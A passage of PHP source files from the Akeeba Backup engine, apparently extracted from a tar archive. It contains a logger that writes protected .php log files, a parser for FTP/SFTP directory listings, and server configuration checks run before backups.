		if ($this->paused)
		{
			return;
		}

		// Get the log level as an integer (compatibility with our minimum log level configuration parameter)
		switch ($level)
		{
			case LogLevel::EMERGENCY:
			case LogLevel::ALERT:
			case LogLevel::CRITICAL:
			case LogLevel::ERROR:
				$intLevel = 1;
				break;

			case LogLevel::WARNING:
			case LogLevel::NOTICE:
				$intLevel = 2;
				break;

			case LogLevel::INFO:
				$intLevel = 3;
				break;

			case LogLevel::DEBUG:
				$intLevel = 4;
				break;

			default:
				throw new InvalidArgumentException("Unknown log level $level", 500);
				break;
		}

		// If the minimum log level is lower than what we're trying to log we cannot continue
		if ($this->configuredLoglevel < $intLevel)
		{
			return;
		}

		$translateRoot = true;

		if (array_key_exists('root_translate', $context))
		{
			$translateRoot = ($context['root_translate'] === 1) || ($context['root_translate'] === '1') || ($context['root_translate'] === true);
		}

		// Replace the site's root with <root> in the log file
		if ($translateRoot && !defined('AKEEBADEBUG'))
		{
			$message = str_replace($this->site_root_untranslated, "<root>", $message);
			$message = str_replace($this->site_root, "<root>", $message);
		}

		// Replace new lines
		$message = str_replace("\r\n", "\n", $message);
		$message = str_replace("\r", "\n", $message);
		$message = str_replace("\n", ' \n ', $message);

		switch ($level)
		{
			case LogLevel::EMERGENCY:
			case LogLevel::ALERT:
			case LogLevel::CRITICAL:
			case LogLevel::ERROR:
				$string = "ERROR   |";
				break;

			case LogLevel::WARNING:
			case LogLevel::NOTICE:
				$string = "WARNING |";
				break;

			case LogLevel::INFO:
				$string = "INFO    |";
				break;

			default:
				$string = "DEBUG   |";
				break;
		}

		$string .= gmdate('Ymd H:i:s') . "|$message\r\n";

		@fwrite($this->fp, $string);
	}

	/**
	 * Calculates the absolute path to the log file
	 *
	 * @param   string  $tag  The backup run's tag
	 *
	 * @return    string    The absolute path to the log file
	 */
	public function getLogFilename($tag = null, $extension = '.php')
	{
		if (empty($tag))
		{
			$fileName = 'akeeba.log' . $extension;
		}
		else
		{
			$fileName = "akeeba.$tag.log" . $extension;
		}

		// Get output directory
		$registry        = Factory::getConfiguration();
		$outputDirectory = $registry->get('akeeba.basic.output_directory');

		// Get the log file name
		$absoluteLogFilename = Factory::getFilesystemTools()->TranslateWinPath($outputDirectory . DIRECTORY_SEPARATOR . $fileName);

		return $absoluteLogFilename;
	}

	/**
	 * Close the currently active log and set the current tag to null.
	 *
	 * @return  void
	 */
	public function close()
	{
		// The log file changed. Close the old log.
		if (is_resource($this->fp))
		{
			@fclose($this->fp);
		}

		$this->fp         = null;
		$this->currentTag = null;
	}

	/**
	 * Open a new log instance with the specified tag. If another log is already open it is closed before switching to
	 * the new log tag. If the tag is null use the default log defined in the logging system.
	 *
	 * @param   string|null  $tag  The log to open
	 *
	 * @return void
	 */
	public function open($tag = null, $extension = '.php')
	{
		// If the log is already open do nothing
		if (is_resource($this->fp) && ($tag == $this->currentTag))
		{
			return;
		}

		// If another log is open, close it
		if (is_resource($this->fp))
		{
			$this->close();
		}

		// Re-initialise site root and minimum log level since the active profile might have changed in the meantime
		$this->initialiseWithProfileParameters();

		// Set the current tag
		$this->currentTag = $tag;

		// Get the log filename
		$this->logName = $this->getLogFilename($tag, $extension);

		// Touch the file
		@touch($this->logName);

		// Open the log file. DO NOT USE APPEND ('ab') MODE. I NEED TO SEEK INTO THE FILE. SEE FURTHER BELOW!
		$this->fp = @fopen($this->logName, 'c');

		// If we couldn't open the file set the file pointer to null
		if ($this->fp === false)
		{
			$this->fp = null;

			return;
		}

		// Go to the end of the file, emulating append mode. DO NOT REPLACE THE fopen() FILE MODE!
		if (@fseek($this->fp, 0, SEEK_END) === -1)
		{
			@fclose($this->fp);
			@unlink($this->logName);

			$this->fp = null;

			return;
		}

		/**
		 * The following sounds pretty stupid but there is a reason for that convoluted code.
		 *
		 * Some hosts, like WP Engine, will now allow you to write to a log file with a .php extension. The code below
		 * tries to anticipate that when the log extension is .php. It will try to write to the *.log.php file and the
		 * text is actually resembling PHP code. Hosts like WP Engine will fail the fwrite() which will cause this
		 * method to terminate early and return a null pointer. Our code will catch this case and try to use a .log
		 * extension as a safe fallback.
		 */
		if ($extension !== '.php')
		{
			return;
		}

		// Try to write something into the file
		$written = @fwrite($this->fp, '<?php die("test"); ?>' . "\n");

		if ($written === false)
		{
			@fclose($this->fp);
			@unlink($this->logName);

			$this->fp = null;

			$this->open($tag, '');

			return;
		}

		// Store truncate offset, we will have to rewind the internal pointer to it
		$truncate_point = ftell($this->fp) - $written;

		if (ftruncate($this->fp, $truncate_point) === false)
		{
			@fclose($this->fp);
			@unlink($this->logName);

			$this->fp = null;

			$this->open($tag, '');

			return;
		}

		// Finally, move the file pointer at the truncation point. Otherwise PHP will append NULL bytes to the string
		// to "pad" the file length to the internal file pointer. No need to check if the operation was successful,
		// worst case scenario we will have some extra NULL bytes, there's no need to kill the log operation
		@fseek($this->fp, $truncate_point);
	}

	/**
	 * Temporarily pause log output. The log() method MUST respect this.
	 *
	 * @return  void
	 */
	public function pause()
	{
		$this->paused = true;
	}

	/**
	 * Resume the previously paused log output. The log() method MUST respect this.
	 *
	 * @return  void
	 */
	public function unpause()
	{
		$this->paused = false;
	}

	/**
	 * Returns the timestamp (in UNIX time long integer format) of the last log message written to the log with the
	 * specific tag. The timestamp MUST be read from the log itself, not from the logger object. It is used by the
	 * engine to find out the age of stalled backups which may have crashed.
	 *
	 * @param   string|null  $tag  The log tag for which the last timestamp is returned
	 *
	 * @return  int|null  The timestamp of the last log message, in UNIX time. NULL if we can't get the timestamp.
	 */
	public function getLastTimestamp($tag = null)
	{
		$fileName = $this->getLogFilename($tag);

		/**
		 * The log file akeeba.tag.log.php may not exist but the akeeba.tag.log does. This would be the case in some bad
		 * hosts, like WPEngine, which do not allow us to create .php files EVEN THOUGH that's the only way to ensure
		 * the privileged information in the log file is not readable over the web. You can't fix bad hosts, you can
		 * only work around them.
		 */
		if (!@file_exists($fileName) && @file_exists(substr($fileName, 0, -4)))
		{
			$fileName = substr($fileName, 0, -4);
		}

		$timestamp = @filemtime($fileName);

		if ($timestamp === false)
		{
			return null;
		}

		return $timestamp;
	}

	/**
	 * System is unusable.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return void
	 */
	public function emergency($message, array $context = [])
	{
		$this->log(LogLevel::EMERGENCY, $message, $context);
	}

	/**
	 * Action must be taken immediately.
	 *
	 * Example: Entire website down, database unavailable, etc. This should
	 * trigger the SMS alerts and wake you up.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return void
	 */
	public function alert($message, array $context = [])
	{
		$this->log(LogLevel::ALERT, $message, $context);
	}

	/**
	 * Critical conditions.
	 *
	 * Example: Application component unavailable, unexpected exception.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return void
	 */
	public function critical($message, array $context = [])
	{
		$this->log(LogLevel::CRITICAL, $message, $context);
	}

	/**
	 * Runtime errors that do not require immediate action but should typically
	 * be logged and monitored.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return void
	 */
	public function error($message, array $context = [])
	{
		$this->log(LogLevel::ERROR, $message, $context);
	}

	/**
	 * \Exceptional occurrences that are not errors.
	 *
	 * Example: Use of deprecated APIs, poor use of an API, undesirable things
	 * that are not necessarily wrong.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return void
	 */
	public function warning($message, array $context = [])
	{
		$this->log(LogLevel::WARNING, $message, $context);
	}

	/**
	 * Normal but significant events.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return void
	 */
	public function notice($message, array $context = [])
	{
		$this->log(LogLevel::NOTICE, $message, $context);
	}

	/**
	 * Interesting events.
	 *
	 * Example: User logs in, SQL logs.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return void
	 */
	public function info($message, array $context = [])
	{
		$this->log(LogLevel::INFO, $message, $context);
	}

	/**
	 * Detailed debug information.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return void
	 */
	public function debug($message, array $context = [])
	{
		$this->log(LogLevel::DEBUG, $message, $context);
	}

	/**
	 * Initialise the logger properties with parameters from the backup profile and the platform
	 *
	 * @return  void
	 */
	protected function initialiseWithProfileParameters()
	{
		// Get the site's translated and untranslated root
		$this->site_root_untranslated = Platform::getInstance()->get_site_root();
		$this->site_root              = Factory::getFilesystemTools()->TranslateWinPath($this->site_root_untranslated);

		// Load the registry and fetch log level
		$registry                 = Factory::getConfiguration();
		$this->configuredLoglevel = $registry->get('akeeba.basic.log_level');
		$this->configuredLoglevel = $this->configuredLoglevel * 1;
	}
}
com_akeeba/BackupEngine/Util/ListingParser.php000060400000026701152455305260015372 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util;

defined('AKEEBAENGINE') || die();

/**
 * Parses directory listings of the standard UNIX or MS-DOS style, i.e. what is most commonly returned by FTP and SFTP
 * servers running on *NIX and Windows machines.
 *
 * This class is intended to be used with the result RemoteResourceInterface::getRawList, parsing the raw folder listing
 * returned by an (S)FTP server -meant to be read by a human- into something you can programmatically work with. Using
 * RemoteResourceInterface::getWrapperStringFor with DirectoryIterator is generally preferable, if only much slower due
 * to the synchronous nature of remote stat() requests on each iterated element.
 */
class ListingParser
{
	/**
	 * Parse a UNIX- or MS-DOS-style directory listing.
	 *
	 * You get a hash array with entries. Each entry has the following keys:
	 * name:    the file / folder name.
	 * type:    file, dir or link.
	 * target:  link target (when type == link).
	 * user:    owner user, numeric or text. IIS FTP fakes this with the literal string "owner".
	 * group:   owner group, numeric or text. IIS FTP fakes this with the literal string "group".
	 * size:    size in bytes; note that some Linux servers report non-zero sizes for directories.
	 * date:    file creation date, most likely blatantly wrong; see below
	 * perms:   permissions in decimal format. Cast with dec2oct to get the 4 digit permissions string, e.g. 1755
	 *
	 * Important Notes
	 *
	 * Some UNIX systems report a size for directories. Do not assume that something is a directory if it's size is 0,
	 * you will be surprised. Look at the 'type' element instead.
	 *
	 * Dates can be off. UNIX-style directory listings state either the year or the time, not both. If the file was
	 * modified during this year you will get a date with a resolution of 1 minute. If the file was modified on a
	 * different year you'll get a date with a resolution of 1 day. MS-DOS listings always contain the time. Again, the
	 * resolution is 1 minute.
	 *
	 * Most MS-DOS style listings don't list junctions and symlinks. As a result they will be reported as regular
	 * directories / files. This is the case for the IIS FTP server. Other servers may return the raw "dir" command
	 * results (as CMD.EXE would parse it) in which case links and link targets do get reported.
	 *
	 * @param   string  $list   The raw listing
	 * @param   bool    $quick  True to only include name, type, size and link target for each file.
	 *
	 * @return  array
	 */
	public function parseListing($list, $quick = false)
	{
		$res = $this->parseUnixListing($list, $quick);

		if (empty($res))
		{
			$res = $this->parseMSDOSListing($list, $quick);
		}

		return $res;
	}

	/**
	 * Parse a UNIX-style directory listing. This is the format produced by ls -la on *NIX systems.
	 *
	 * You get a hash array with entries. Each entry has the following keys:
	 * name: the file / folder name.
	 * type: file, dir or link.
	 * target: link target (when type == link).
	 * user: owner user, numeric or text. IIS FTP fakes this with the literal string "owner".
	 * group: owner group, numeric or text. IIS FTP fakes this with the literal string "group".
	 * size: size in bytes; note that some Linux servers report non-zero sizes for directories.
	 * date: file creation date, most likely blatantly wrong; see below
	 * perms: permissions in decimal format. Cast with dec2oct to get the 4 digit permissions string, e.g. 1755
	 *
	 * @param   string  $list   The raw listing
	 * @param   bool    $quick  True to only include name, type, size and link target for each file.
	 *
	 * @return  array
	 */
	protected function parseUnixListing($list, $quick = false)
	{
		$ret = [];

		$list = str_replace(["\r\n", "\r", "\n\n"], ["\n", "\n", "\n"], $list);
		$list = explode("\n", $list);
		$list = array_map('rtrim', $list);

		foreach ($list as $v)
		{
			$vInfo = preg_split("/[\s]+/", $v, 9);

			if ((is_array($vInfo) || $vInfo instanceof \Countable ? count($vInfo) : 0) != 9)
			{
				continue;
			}

			$entry = [
				'name'   => '',
				'type'   => 'file',
				'target' => '',
				'user'   => '0',
				'group'  => '0',
				'size'   => '0',
				'date'   => '0',
				'perms'  => '0',
			];

			if ($quick)
			{
				$entry = [
					'name'   => '',
					'type'   => 'file',
					'size'   => '0',
					'target' => '',
				];
			}

			// ===== Parse permissions =====
			$permString    = $vInfo[0];
			$permStringLen = strlen($permString);
			$typeBit       = '-';
			$userPerms     = 'r--';
			$groupPerms    = 'r--';
			$otherPerms    = 'r--';

			if ($permStringLen)
			{
				$typeBit = substr($permString, 0, 1);
			}

			switch ($typeBit)
			{
				case "d":
					$entry['type'] = 'dir';
					break;

				case "l":
					$entry['type'] = 'link';
					break;
			}

			// ===== Parse size =====
			$entry['size'] = $vInfo[4];

			if (!$quick)
			{
				if ($permStringLen >= 4)
				{
					$userPerms = substr($permString, 1, 3);
				}

				if ($permStringLen >= 7)
				{
					$groupPerms = substr($permString, 4, 3);
				}

				if ($permStringLen >= 10)
				{
					$otherPerms = substr($permString, 7, 3);
				}

				$bitPart   = 0;
				$permsPart = '';

				[$thisPerms, $thisBit] = $this->textPermsDecode($userPerms);
				$bitPart   += 4 * $thisBit; // SetUID
				$permsPart .= $thisPerms;

				[$thisPerms, $thisBit] = $this->textPermsDecode($groupPerms);
				$bitPart   += 2 * $thisBit; // SetGID
				$permsPart .= $thisPerms;

				[$thisPerms, $thisBit] = $this->textPermsDecode($otherPerms);
				$bitPart   += $thisBit; // Sticky (restricted deletion)
				$permsPart .= $thisPerms;

				$entry['perms'] = octdec($bitPart . $permsPart);

				// ===== Parse ownership =====
				$entry['user']  = $vInfo[2];
				$entry['group'] = $vInfo[3];

				// ===== Parse date =====
				$dateString    = $vInfo[6] . ' ' . $vInfo[5] . ' ' . $vInfo[7];
				$x             = date_create($dateString);
				$entry['date'] = ($x === false) ? 0 : $x->getTimestamp();
			}

			// ===== Parse name =====
			$name = $vInfo[8];

			// Ubuntu (possibly others?) tacks a start when either suid/sgid bits is set
			if (substr($name, -1) == '*')
			{
				$name = substr($name, 0, -1);
			}

			// Link target parsing
			if (strpos($name, '->') !== false)
			{
				[$name, $target] = explode('->', $name);

				$entry['target'] = trim($target);
			}

			$entry['name'] = trim($name);

			// ===== Return the entry =====
			$ret[] = $entry;
		}

		return $ret;
	}

	/**
	 * Parse am MS-DOS-style directory listing. This is the format produced by dir on MS-DOS and Windows systems.
	 *
	 * You get a hash array with entries. Each entry has the following keys:
	 * name: the file / folder name.
	 * type: file, dir or link.
	 * target: link target (when type == link).
	 * user: owner user, numeric or text. IIS FTP fakes this with the literal string "owner".
	 * group: owner group, numeric or text. IIS FTP fakes this with the literal string "group".
	 * size: size in bytes; note that some Linux servers report non-zero sizes for directories.
	 * date: file creation date, most likely blatantly wrong; see below
	 * perms: permissions in decimal format. Cast with dec2oct to get the 4 digit permissions string, e.g. 1755
	 *
	 * @param   string  $list   The raw listing
	 * @param   bool    $quick  True to only include name, type, size and link target for each file.
	 *
	 * @return  array
	 */
	protected function parseMSDOSListing($list, $quick = false)
	{
		$ret = [];

		$list = str_replace(["\r\n", "\r", "\n\n"], ["\n", "\n", "\n"], $list);
		$list = explode("\n", $list);
		$list = array_map('rtrim', $list);

		foreach ($list as $v)
		{
			$vInfo = preg_split("/[\s]+/", $v, 5);

			if ((is_array($vInfo) || $vInfo instanceof \Countable ? count($vInfo) : 0) < 4)
			{
				continue;
			}

			$entry = [
				'name'   => '',
				'type'   => 'file',
				'target' => '',
				'user'   => '0',
				'group'  => '0',
				'size'   => '0',
				'date'   => '0',
				'perms'  => '0',
			];

			if ($quick)
			{
				$entry = [
					'name'   => '',
					'type'   => 'file',
					'size'   => '0',
					'target' => '',
				];
			}

			// The first two fields are date and time
			$dateString = $vInfo[0] . ' ' . $vInfo[1];

			// If position 2 is AM/PM append it and remove it from the list
			if (in_array(strtoupper($vInfo[2]), ['AM', 'PM']))
			{
				$dateString .= ' ' . $vInfo[2];

				// This trick is required to remove the element and fix the indices for the rest of the parsing to work.
				unset ($vInfo[2]);
				$vInfo = array_merge($vInfo);
			}

			if (!$quick)
			{
				$x             = date_create($dateString);
				$entry['date'] = ($x === false) ? 0 : $x->getTimestamp();
			}

			// The third field is either a special type indicator or the file size
			switch (strtoupper($vInfo[2]))
			{
				// Regular directory
				case '<DIR>':
					$entry['type'] = 'dir';
					break;

				// Junction (like a directory symlink, pre-Win7)
				case '<JUNCTION>':
					// File symlink
				case '<SYMLINK>':
					// Directory symlink
				case '<SYMLINKD>':
					$entry['type'] = 'link';
					break;

				default:
					$entry['size'] = (int) $vInfo[2];
					break;
			}

			// And finally the file name. If it's a link it's in the format 'name [target]'
			preg_match('/(.*)[\s]+\[(.*)\]/', $vInfo[3], $matches);

			if (empty($matches))
			{
				$entry['name'] = $vInfo[3];
			}
			else
			{
				$entry['type']   = 'link';
				$entry['name']   = $matches[1];
				$entry['target'] = $matches[2];
			}

			// ===== Return the entry =====
			$ret[] = $entry;
		}

		return $ret;
	}

	/**
	 * Decode a textual permissions representation for a user, group or others to a pair of octal digits (permissions
	 * and flags). For example "r--" is converted to [4, 0], "r-x" to [5, 0], "r-t" to [5, 1]
	 *
	 * @param   string  $perms  The textual permissions representation for a user, group or others
	 *
	 * @return  array  Two octal digits for permissions and flags (suid/sgid/sticky bit)
	 */
	private function textPermsDecode($perms)
	{
		$permBit  = 0;
		$flagBits = 0;

		if (strpos($perms, 'r'))
		{
			$permBit += 4;
		}

		if (strpos($perms, 'w'))
		{
			$permBit += 2;
		}

		/**
		 * Both s and t denote flag set and imply the execute permissions is also granted. For user/groups it's
		 * SetUID/SetGID respectively, for others it's the "sticky" bit (restricted deletion). Since only one of x, s
		 * and t can be present at one time we use an if/elseif block. I don't use a switch because a. I am not 100%
		 * sure that all servers will report the text permissions in rwx order and b. I am not sure that switch and
		 * substr are faster than strpos (and too lazy to benchmark; sorry).
		 */
		if (strpos($perms, 'x'))
		{
			$permBit += 1;
		}
		elseif (strpos($perms, 't'))
		{
			$flagBits += 1;
		}
		elseif (strpos($perms, 's'))
		{
			$flagBits += 1;
		}

		return [$permBit, $flagBits];
	}
}
com_akeeba/BackupEngine/Util/ConfigurationCheck.php000060400000034715152455305260016355 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;

/**
 * Quirk detection helper class
 */
class ConfigurationCheck
{
	/**
	 * The configuration checks to perform
	 *
	 * @var  array
	 */
	protected $configurationChecks = [
		['code'        => '001', 'severity' => 'critical', 'callback' => [null, 'q001'],
		 'description' => 'COM_AKEEBA_CPANEL_WARNING_Q001',
		],
		['code'        => '003', 'severity' => 'critical', 'callback' => [null, 'q003'],
		 'description' => 'COM_AKEEBA_CPANEL_WARNING_Q003',
		],
		['code'        => '004', 'severity' => 'critical', 'callback' => [null, 'q004'],
		 'description' => 'COM_AKEEBA_CPANEL_WARNING_Q004',
		],

		['code'        => '101', 'severity' => 'high', 'callback' => [null, 'q101'],
		 'description' => 'COM_AKEEBA_CPANEL_WARNING_Q101',
		],
		['code'        => '103', 'severity' => 'high', 'callback' => [null, 'q103'],
		 'description' => 'COM_AKEEBA_CPANEL_WARNING_Q103',
		],
		['code'        => '104', 'severity' => 'high', 'callback' => [null, 'q104'],
		 'description' => 'COM_AKEEBA_CPANEL_WARNING_Q104',
		],
		['code'        => '106', 'severity' => 'high', 'callback' => [null, 'q106'],
		 'description' => 'COM_AKEEBA_CPANEL_WARNING_Q106',
		],

		['code'        => '201', 'severity' => 'medium', 'callback' => [null, 'q201'],
		 'description' => 'COM_AKEEBA_CPANEL_WARNING_Q201',
		],
		['code'        => '202', 'severity' => 'medium', 'callback' => [null, 'q202'],
		 'description' => 'COM_AKEEBA_CPANEL_WARNING_Q202',
		],
		['code'        => '204', 'severity' => 'medium', 'callback' => [null, 'q204'],
		 'description' => 'COM_AKEEBA_CPANEL_WARNING_Q204',
		],

		['code'        => '203', 'severity' => 'medium', 'callback' => [null, 'q203'],
		 'description' => 'COM_AKEEBA_CPANEL_WARNING_Q203',
		],
//		['code'        => '401', 'severity' => 'low', 'callback' => [null, 'q401'],
//		 'description' => 'COM_AKEEBA_CPANEL_WARNING_Q401',
//		],
	];

	/**
	 * The public constructor replaces the missing object reference in the configuration check callbacks
	 */
	function __construct()
	{
		$temp = [];

		foreach ($this->configurationChecks as $check)
		{
			$check['callback'] = [$this, $check['callback'][1]];
			$temp[]            = $check;
		}

		$this->configurationChecks = $temp;
	}

	/**
	 * Returns the output & temporary folder writable status
	 *
	 * @return  array  A hash array with the writable status
	 */
	public function getFolderStatus()
	{
		static $status = null;

		if (is_null($status))
		{
			$stock_dirs = Platform::getInstance()->get_stock_directories();

			// Get output writable status
			$registry = Factory::getConfiguration();
			$outdir   = $registry->get('akeeba.basic.output_directory');

			foreach ($stock_dirs as $macro => $replacement)
			{
				$outdir = str_replace($macro, $replacement, $outdir);
			}

			$status['output'] = @is_writable($outdir);
		}

		return $status;
	}

	/**
	 * Returns the overall status. It's true when both the temporary and output directories are writable and there are
	 * no critical configuration check failures.
	 *
	 * @return  boolean
	 */
	public function getShortStatus()
	{
		// Base the status on directory writeable status
		$status = $this->getFolderStatus();
		$ret    = $status['output'];

		// Scan for high severity configuration check errors
		$detailedStatus = $this->getDetailedStatus();

		if (!empty($detailedStatus))
		{
			foreach ($detailedStatus as $configCheck)
			{
				if ($configCheck['severity'] == 'critical')
				{
					$ret = false;
				}
			}
		}

		// Return status
		return $ret;
	}

	/**
	 * Add a configuration check definition
	 *
	 * @param   string  $code         The configuration check code (three digit number)
	 * @param   string  $severity     The severity (low, medium, high, critical)
	 * @param   string  $description  The description key for this configuration check
	 * @param   null    $callback     The callback used to determine the status of the configuration check
	 *
	 * @return  void
	 */
	public function addConfigurationCheckDefinition($code, $severity = 'low', $description = null, $callback = null)
	{
		if (!is_callable($callback))
		{
			$callback = [$this, 'q' . $code];
		}

		if (empty($description))
		{
			$description = 'COM_AKEEBA_CPANEL_WARNING_Q' . $code;
		}

		$newConfigurationCheck = [
			'code'        => $code,
			'severity'    => $severity,
			'description' => $description,
			'callback'    => $callback,
		];

		$this->configurationChecks[$code] = $newConfigurationCheck;
	}

	/**
	 * Remove a configuration check definition
	 *
	 * @param   string  $code  The code of the configuration check to remove
	 *
	 * @return  void
	 */
	public function removeConfigurationCheckDefinition($code)
	{
		if (isset($this->configurationChecks[$code]))
		{
			unset($this->configurationChecks[$code]);
		}
	}

	/**
	 * Clear the configuration check definitions
	 *
	 * @return  void
	 */
	public function clearConfigurationCheckDefinitions()
	{
		$this->configurationChecks = [];
	}

	/**
	 * Runs the configuration check scripts. These are potential problems related to server
	 * configuration, out of Akeeba's control. They are intended to give the user a
	 * chance to fix them before they cause the backup to fail.
	 *
	 * Numbering scheme:
	 * Q0xx    No-go errors
	 * Q1xx    Critical system configuration errors
	 * Q2xx    Medium and low system configuration warnings
	 * Q3xx    Critical software configuration errors
	 * Q4xx    Medium and low component configuration warnings
	 *
	 * @param   boolean  $low_priority       Should I include low priority quirks?
	 * @param   string   $help_url_template  The sprintf template from creating a help URL from a config check code
	 *
	 * @return  array
	 */
	public function getDetailedStatus($low_priority = false, $help_url_template = 'https://www.akeeba.com/documentation/warnings/q%s.html')
	{
		static $detailedStatus = null;

		if (is_null($detailedStatus) || $low_priority)
		{
			$detailedStatus = [];

			foreach ($this->configurationChecks as $quirkDef)
			{
				if (!$low_priority && ($quirkDef['severity'] == 'low'))
				{
					continue;
				}

				$this->checkConfiguration($detailedStatus, $quirkDef, $help_url_template);
			}
		}

		return $detailedStatus;
	}

	/**
	 * Checks if a path is restricted by open_basedirs
	 *
	 * @param   string  $check  The path to check
	 *
	 * @return  bool  True if the path is restricted (which is bad)
	 */
	public function checkOpenBasedirs($check)
	{
		static $paths;

		if (empty($paths))
		{
			$open_basedir = ini_get('open_basedir');

			if (empty($open_basedir))
			{
				return false;
			}

			$delimiter  = strpos($open_basedir, ';') !== false ? ';' : ':';
			$paths_temp = explode($delimiter, $open_basedir);

			// Some open_basedirs are using environemtn variables
			$paths = [];

			foreach ($paths_temp as $path)
			{
				if (array_key_exists($path, $_ENV))
				{
					$paths[] = $_ENV[$path];
				}
				else
				{
					$paths[] = $path;
				}
			}
		}

		if (empty($paths))
		{
			return false; // no restrictions
		}
		else
		{
			$newcheck = @realpath($check); // Resolve symlinks, like PHP does

			if (!($newcheck === false))
			{
				$check = $newcheck;
			}

			$included = false;

			foreach ($paths as $path)
			{
				$newpath = @realpath($path);

				if (!($newpath === false))
				{
					$path = $newpath;
				}

				if (strlen($check) >= strlen($path))
				{
					// Only check if the path to check is longer than the inclusion path.
					// Otherwise, I guarantee it's not included!!
					// If the path to check begins with an inclusion path, it's permitted. Easy, huh?
					if (substr($check, 0, strlen($path)) == $path)
					{
						$included = true;
					}
				}
			}

			return !$included;
		}
	}

	/**
	 * Make a configuration check and adds it to the list if it raises a warning / error
	 *
	 * @param   array   $detailedStatus     The configuration checks status array
	 * @param   array   $quirkDef           The configuration check definition
	 * @param   string  $help_url_template  The sprintf template from creating a help URL from a quirk code
	 *
	 * @return  void
	 */
	protected function checkConfiguration(&$detailedStatus, $quirkDef, $help_url_template)
	{
		if (call_user_func($quirkDef['callback']))
		{
			$description = Platform::getInstance()->translate($quirkDef['description']);

			$detailedStatus[(string) $quirkDef['code']] = [
				'code'        => $quirkDef['code'],
				'severity'    => $quirkDef['severity'],
				'description' => $description,
				'help_url'    => sprintf($help_url_template, $quirkDef['code']),
			];
		}
	}

	/**
	 * Q001 - HIGH - Output directory unwriteable
	 *
	 * @return  bool
	 */
	private function q001()
	{
		$status = $this->getFolderStatus();

		return !$status['output'];
	}

	/**
	 * Q003 - HIGH - Backup output or temporary set to site's root
	 *
	 * @return  bool
	 */
	private function q003()
	{
		$stock_dirs = Platform::getInstance()->get_stock_directories();

		$registry = Factory::getConfiguration();
		$outdir   = $registry->get('akeeba.basic.output_directory');

		foreach ($stock_dirs as $macro => $replacement)
		{
			$outdir = str_replace($macro, $replacement, $outdir);
		}

		$outdir_real = @realpath($outdir);

		if (!empty($outdir_real))
		{
			$outdir = $outdir_real;
		}

		$siteroot      = Platform::getInstance()->get_site_root();
		$siteroot_real = @realpath($siteroot);

		if (!empty($siteroot_real))
		{
			$siteroot = $siteroot_real;
		}

		return ($siteroot == $outdir);
	}

	/**
	 * Q004 - HIGH - Free memory too low
	 *
	 * @return bool
	 */
	private function q004()
	{
		// If we can't figure this out, don't report a problem. It doesn't
		// really matter, as the backup WILL crash eventually.
		if (!function_exists('ini_get'))
		{
			return false;
		}

		$memLimit = ini_get("memory_limit");
		$memLimit = $this->_return_bytes($memLimit);

		if ($memLimit <= 0)
		{
			return false;
		}

		// No limit?
		$availableRAM = $memLimit - memory_get_usage();

		// We need at least 12Mb of free memory
		return ($availableRAM <= (12 * 1024 * 1024));
	}

	/**
	 * Q101 - HIGH - open_basedir on output directory
	 *
	 * @return  bool
	 */
	private function q101()
	{
		$stock_dirs = Platform::getInstance()->get_stock_directories();

		// Get output writable status
		$registry = Factory::getConfiguration();
		$outdir   = $registry->get('akeeba.basic.output_directory');

		foreach ($stock_dirs as $macro => $replacement)
		{
			$outdir = str_replace($macro, $replacement, $outdir);
		}

		return $this->checkOpenBasedirs($outdir);
	}

	/**
	 * Q103 - HIGH - Less than 10" of max_execution_time with PHP Safe Mode enabled
	 *
	 * @return  bool
	 */
	private function q103()
	{
		$exectime = ini_get('max_execution_time');
		$safemode = ini_get('safe_mode');

		if (!$safemode)
		{
			return false;
		}

		if (!is_numeric($exectime))
		{
			return false;
		}

		if ($exectime <= 0)
		{
			return false;
		}

		return $exectime < 10;
	}

	/**
	 * Q104 - HIGH - Temp directory is the same as the site's root
	 *
	 * @return  bool
	 */
	private function q104()
	{

		$siteroot      = Platform::getInstance()->get_site_root();
		$siteroot_real = @realpath($siteroot);

		if (!empty($siteroot_real))
		{
			$siteroot = $siteroot_real;
		}

		$stockDirs      = Platform::getInstance()->get_stock_directories();
		$temp_directory = $stockDirs['[SITETMP]'];
		$temp_directory = @realpath($temp_directory);

		if (empty($temp_directory))
		{
			$temp_directory = $siteroot;
		}

		return ($siteroot == $temp_directory);
	}

	/**
	 * Q106 - HIGH  - Table name prefix contains uppercase characters
	 *
	 * @return  bool
	 */
	private function q106()
	{
		$filters   = Factory::getFilters();
		$databases = $filters->getInclusions('db');

		foreach ($databases as $db)
		{
			if (!isset($db['prefix']))
			{
				continue;
			}

			if (preg_match('/[A-Z]/', $db['prefix']))
			{
				return true;
			}
		}

		return false;
	}

	/**
